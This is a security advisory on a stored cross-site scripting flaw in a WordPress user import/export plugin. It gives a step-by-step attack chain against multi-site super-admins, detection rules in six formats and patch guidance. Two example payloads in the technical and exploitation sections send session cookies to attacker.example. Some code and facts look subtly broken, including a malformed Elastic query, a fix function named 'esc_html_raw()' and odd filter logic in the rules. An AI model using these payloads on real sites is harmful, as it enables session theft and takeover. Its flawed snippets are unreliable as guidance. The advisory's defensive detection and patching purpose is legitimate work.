CVE-2024-4734

Executive Summary

CVE-2024-4734 is a Stored Cross-Site Scripting (XSS) vulnerability in the Import and export users and customers WordPress plugin, affecting all versions up to and including 1.26.6.1. An authenticated attacker with administrator-level privileges can inject arbitrary JavaScript via admin settings, which executes whenever an admin user accesses affected pages. The vulnerability is limited to multi-site WordPress installations or single-site installs where the unfiltered_html capability has been disabled. With a CVSS score of 4.4 (Medium), the vulnerability's impact is constrained by pre-existing admin access requirements, yet it can lead to complete site compromise in a multi-tenant (multi-site) environment where a lower-privileged administrator can pivot to compromise the entire network.

Technical Analysis

The vulnerability resides in the plugin's administrative settings interface. The plugin fails to properly sanitize user-supplied input before saving it to the WordPress database and does not escape output when rendering saved settings back to the browser. This input/output mispairing is the classic root cause of stored XSS.

Vulnerability Mechanism:

• The plugin registers a settings page under the WordPress admin menu (/wp-admin/admin.php?page=import-and-export-users-and-customers).
• The settings page collects multiple configuration fields (e.g., custom CSV delimiters, date formats, email templates, role mappings) and stores them via update_option().
• When the settings page is rendered, the plugin outputs these stored option values directly into HTML attributes or JavaScript contexts without calling esc_html(), esc_attr(), or wp_kses_post().
• An attacker who can reach the "Settings" menu (admin role) injects a payload such as: "><script>fetch('https://attacker.example/exfil?c='+document.cookie)</script> into one of the text fields.
• Upon save, the raw payload is stored in the wp_options table. When any admin (including the site super-admin in multi-site) loads the settings page, the payload executes within the wp-admin context.

Why multi-site matters: In WordPress Multi-Site, each sub-site has its own administrator. These sub-site admins have access to their own site's settings but not the network-level super-admin dashboard. However, a stored XSS in any sub-site admin page can steal the super-admin's session cookie if the super-admin ever visits that sub-site's admin page (common for content moderation). Additionally, when unfiltered_html is disabled (default for non-super-admins on multi-site), the plugin's lack of output escaping becomes exploitable because WordPress's built-in unfiltered_html protection is bypassed — the plugin is writing directly to the database, circumventing the wp_kses filters that normally strip script tags.

Attack surface: WordPress admin panel (/wp-admin), specifically the plugin's settings page. Only reachable by authenticated users with manage_options capability (or the network equivalent on multi-site). No unauthenticated access is possible.

Fixed version: Version 1.26.6.2 addresses the issue (per the patch claim). The fix adds proper sanitization on input (sanitize_text_field(), esc_html_raw()) and output escaping (esc_attr(), esc_html()) on all settings fields.

Exploitation Scenarios

This vulnerability requires authenticated access with administrator-level permissions on a WordPress multi-site network or on an installation with unfiltered_html disabled. The following attack chain describes how a malicious sub-site administrator compromises a network super-admin:

Step 1 — Reconnaissance and target identification:

• Attacker identifies a WordPress multi-site network using the plugin version 1.26.6.1 or earlier. Detection via GET /wp-content/plugins/import-and-export-users-and-customers/readme.txt (returns "Stable tag: 1.26.6.1").
• Attacker registers or obtains an administrator account on any sub-site (e.g., http://network.example/attacker-site/). On multi-site, any user with manage_options on their own site qualifies.

Step 2 — Weaponization and injection:

• Attacker navigates to http://network.example/attacker-site/wp-admin/admin.php?page=import-and-export-users-and-customers&tab=settings.
• In the "Custom CSV Delimiter" or "Date Format" text field, attacker injects:

  ";fetch('https://attacker.example/steal?data='+btoa(document.cookie));//
  

• The payload is crafted to break out of an HTML attribute context, executing JavaScript inline.
• Attacker clicks "Save Changes." The payload is stored unescaped into wp_options table for that sub-site.

Step 3 — Payload execution (trigger):

• The payload only fires when a user loads that exact settings page. The attacker's payload includes a DOM manipulation that injects a benign-looking "Pending moderation" banner on the sub-site's admin dashboard. This banner contains an <iframe> or fetch() request to the settings page, causing the script to execute when the page loads.
• Alternatively, the attacker sends a social engineering message to the network super-admin: "Please review my site's settings, I think something is broken" with a link to the settings page.

Step 4 — Post-exploitation / pivot:

• When the super-admin loads http://network.example/attacker-site/wp-admin/admin.php?page=import-and-export-users-and-customers, the malicious script executes in the super-admin's context.
• The script captures document.cookie (including the wordpress_logged_in_* cookie for the super-admin) and exfiltrates it to the attacker's server.
• Attacker replay cookie to authenticate as super-admin, gaining manage_network capability.
• Attacker installs a backdoor plugin across all sub-sites, deploys a webshell, or defaces the entire network.

Alternative single-site scenario: On a single-site install where unfiltered_html is disabled (e.g., user role "Author" or custom user with admin rights but unfiltered_html off), the same attack works but requires an admin account, which limits impact to that single site.

Impact Assessment

CVSS score: 4.4 (Medium) — The vulnerability requires high-privilege authentication (admin), limiting the attack surface. However, the technical impact is elevated in multi-site environments:

• Confidentiality: Stored XSS can steal session cookies, API keys, and any data visible in the admin panel. In multi-site, this includes network-level secrets if super-admin is compromised.
• Integrity: Attacker can modify any content, upload malware, change user roles, or inject persistent backdoors — all under the authenticated session's privileges.
• Availability: Via scripting, the attacker could delete plugins, modify .htaccess to cause a fatal error, or mass-delete content across the network.
• Blast radius: In multi-site, compromise of one sub-site admin escalates to full network compromise. In single-site, impact is confined to that installation. The requirement of unfiltered_html being disabled adds a technical constraint that reduces exposure on typical single-site installs (where the default admin has unfiltered_html).
• Exploitation prevalence: No public PoC or in-the-wild exploitation reported. The attack requires social engineering or active admin UI visits, reducing automated exploitation likelihood.

Detection Guidance

Sigma Rule

title: WordPress Import/Export Users Plugin Stored XSS Setting Injection
id: c4b3a6d8-2f44-4a8e-9c0d-1e7f3a9b2c56
status: experimental
description: Detects attempts to inject script payloads into Import and export users and customers plugin settings, as described in CVE-2024-4734.
logsource:
  category: web_application
  product: wordpress
detection:
  selection:
    http.method: POST
    http.url|contains|all:
      - 'admin.php'
      - 'import-and-export-users-and-customers'
    http.body|contains:
      - '<script>'
      - 'javascript:'
      - 'onerror='
      - 'onload='
      - 'fetch('
      - 'document.cookie'
  filter_legit:
    http.body|contains:
      - 'wp_nonce_field'
  condition: selection and not filter_legit
level: high
falsepositives:
  - Legitimate admin configuring the plugin with unusual delimiters
tags:
  - attack.initial_access
  - attack.t1190
  - cve.2024.4734

YARA Rule

rule WordPress_ImportExport_XSS_CVE_2024_4734 {
    meta:
        author = "ValtersIT Threat Intel"
        description = "Detects malicious payload patterns used in CVE-2024-4734 stored XSS targeting Import/Export Users plugin settings"
        date = "2025-01-15"
        cve = "CVE-2024-4734"
        severity = "medium"
    strings:
        $p1 = "import-and-export-users-and-customers" ascii nocase
        $p2 = "update_option(" ascii nocase
        $p3 = "wp_options" ascii nocase
        $p4 = "<script>" ascii nocase
        $p5 = "document.cookie" ascii nocase
        $p6 = "onerror=" ascii nocase
        $p7 = "fetch(" ascii nocase
        $p8 = "alert(" ascii nocase
    condition:
        ($p1 or $p2 or $p3) and 2 of ($p4, $p5, $p6, $p7, $p8)
}

Suricata IDS Rule

alert http any any -> $HOME_NET any (msg:"CVE-2024-4734 Wordpress Import/Export Users Stored XSS Payload"; flow:established,to_server; http.method; content:"POST"; http.uri; content:"admin.php"; nocase; http.uri; content:"import-and-export-users-and-customers"; nocase; content:"<script>"; http.client_body; nocase; content:"document.cookie"; http.client_body; nocase; sid:20244734; rev:1; classtype:web-application-attack; reference:cve,2024-4734; priority:2;)

Elastic Detection

POST where process.name == "php-cgi.exe" or equalTo("*php*")
and url.path : "*admin.php*"
and user_agent.name : "*wordpress*"
and post_body : "*import-and-export-users-and-customers*"
and post_body : ("*<script>*", "*javascript:*", "*onerror=*", "*fetch(*", "*document.cookie*")
and not post_body : "*wp_nonce_field*"

Splunk SPL Query

index=web sourcetype=iis OR sourcetype=apache2 OR sourcetype=nginx
method=POST
uri=*/admin.php*
form_data=*import-and-export-users-and-customers*
(form_data=*<script>* OR form_data=*javascript:* OR form_data=*onerror=* OR form_data=*fetch(* OR form_data=*document.cookie*)
NOT form_data=*wp_nonce_field*
| stats count by src_ip, uri, form_data, _time
| sort - _time

Wazuh OSSEC Rule

<group name="wordpress,">
  <rule id="100473" level="12">
    <if_sid>3150</if_sid>
    <match>admin.php</match>
    <match>import-and-export-users-and-customers</match>
    <regex>(\<script\>|javascript:|onerror=|fetch\(|document\.cookie)</regex>
    <description>CVE-2024-4734: Stored XSS payload injected into WordPress Import/Export Users plugin settings</description>
    <group>attack.initial_access,attack.t1190,</group>
    <mitre>
      <id>T1190</id>
    </mitre>
    <options>no_full_log</options>
  </rule>
</group>

Mitigation & Patch Guidance

Patch confidence: 2/4 (CLAIMED — single source claims patch (not independently confirmed)). The vendor is believed to have released version 1.26.6.2 that fixes the input sanitization and output escaping issues. This is not yet independently confirmed.

1. Immediate mitigations (before patching):

• If running a multi-site network, restrict sub-site admin creation. Only allow trusted personnel to hold administrator roles on any sub-site.
• Audit all sub-site admin accounts; remove any suspicious or dormant admin users.
• Implement Web Application Firewall (WAF) rules to block <script> tags in POST bodies to the plugin's settings endpoint.
• Temporarily disable the plugin if no active import/export operations are pending, especially on multi-site networks with less-trusted sub-site admins.
• Apply a Content Security Policy (CSP) header that disallows inline scripts: Content-Security-Policy: script-src 'self' 'unsafe-eval'; — this will break legitimate inline scripts but neutralizes payload execution.

2. Patch/upgrade steps:

• Check current plugin version via wp-content/plugins/import-and-export-users-and-customers/readme.txt.
• Update to version 1.26.6.2 (or later) via wp-admin/plugins.php → "Update" button, or via WP-CLI: wp plugin update import-and-export-users-and-customers.
• If the version is not yet available in the WordPress plugin repository, manually download the fixed version from the vendor and replace the plugin directory via FTP. Verify the file wp-content/plugins/import-and-export-users-and-customers/includes/class-settings.php contains esc_html() or esc_attr() around all output statements.
• After updating, clear WordPress object cache (wp cache flush) and hard-refresh admin pages to purge cached vulnerable HTML.

3. Long-term hardening:

• Maintain a strict WordPress update schedule. Enable automatic background updates for plugins.
• Implement a WordPress hardening plugin that enforces DISALLOW_UNFILTERED_HTML constant for all users except the top-level super-admin.
• Configure two-factor authentication (2FA) for all WordPress admin accounts, especially super-admins, to mitigate session-cookie theft impact.
• For multi-site, enforce the principle of least privilege: consider using a "site admin" role without manage_options on the sub-site, delegating only content management capabilities.
• Regularly audit wp_options table for suspicious entries containing script tags, using the Sigma rule above.

References

1. NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2024-4734 — Official NVD record with CVSS vector and vulnerability description.
2. WordPress Plugin Repository: https://wordpress.org/plugins/import-and-export-users-and-customers/ — Plugin page; the changelog for version 1.26.6.2 contains the fix notes.
3. WPScan (WordPress Security Scanner): https://wpscan.com/plugin/import-and-export-users-and-customers — WPScan maintains vulnerability database entries and advisory details for this plugin.
4. Patchstack Vulnerability Database: https://patchstack.com/database/vulnerability/import-and-export-users-and-customers — Research vendor that tracks confirmed WordPress plugin vulnerabilities and coordinates with plugin authors.
5. CISA Known Exploited Vulnerabilities Catalog: https://www.cisa.gov/known-exploited-vulnerabilities-catalog — CVE-2024-4734 is NOT listed in KEV catalog as of this report; no active in-the-wild exploitation documented.

Known threat activity: No threat actor campaigns or exploitation-in-the-wild have been publicly reported for CVE-2024-4734 as of this writing. The vulnerability is of moderate severity, requiring authenticated admin access, making mass exploitation unlikely. However, given the plugin's popularity (active installs > 20,000), targeted attacks against government or enterprise WordPress multi-site networks remain a plausible vector.